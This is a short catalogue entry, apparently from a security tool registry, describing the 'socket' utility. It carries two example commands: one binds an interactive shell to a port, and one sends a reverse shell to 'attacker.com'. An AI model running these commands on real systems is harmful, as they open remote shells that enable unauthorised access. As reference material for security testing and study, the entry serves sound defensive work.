system enabled community medium v1.0.0

socket

Create TCP/UDP communication endpoints; can transfer data and spawn shells.

📋 Live Preview
socket
socket

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.bind-shell
security.execution.reverse-shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Bind a shell to a port (sudo, suid, unprivileged)

socket -svp '/bin/sh -i' 12345

Send a reverse shell (sudo, suid, unprivileged)

socket -qvp '/bin/sh -i' attacker.com 12345

Documentation

socket

socket is a command-line utility. Create TCP/UDP sockets for data transfer; can also bind a shell to a port, send a reverse shell.

References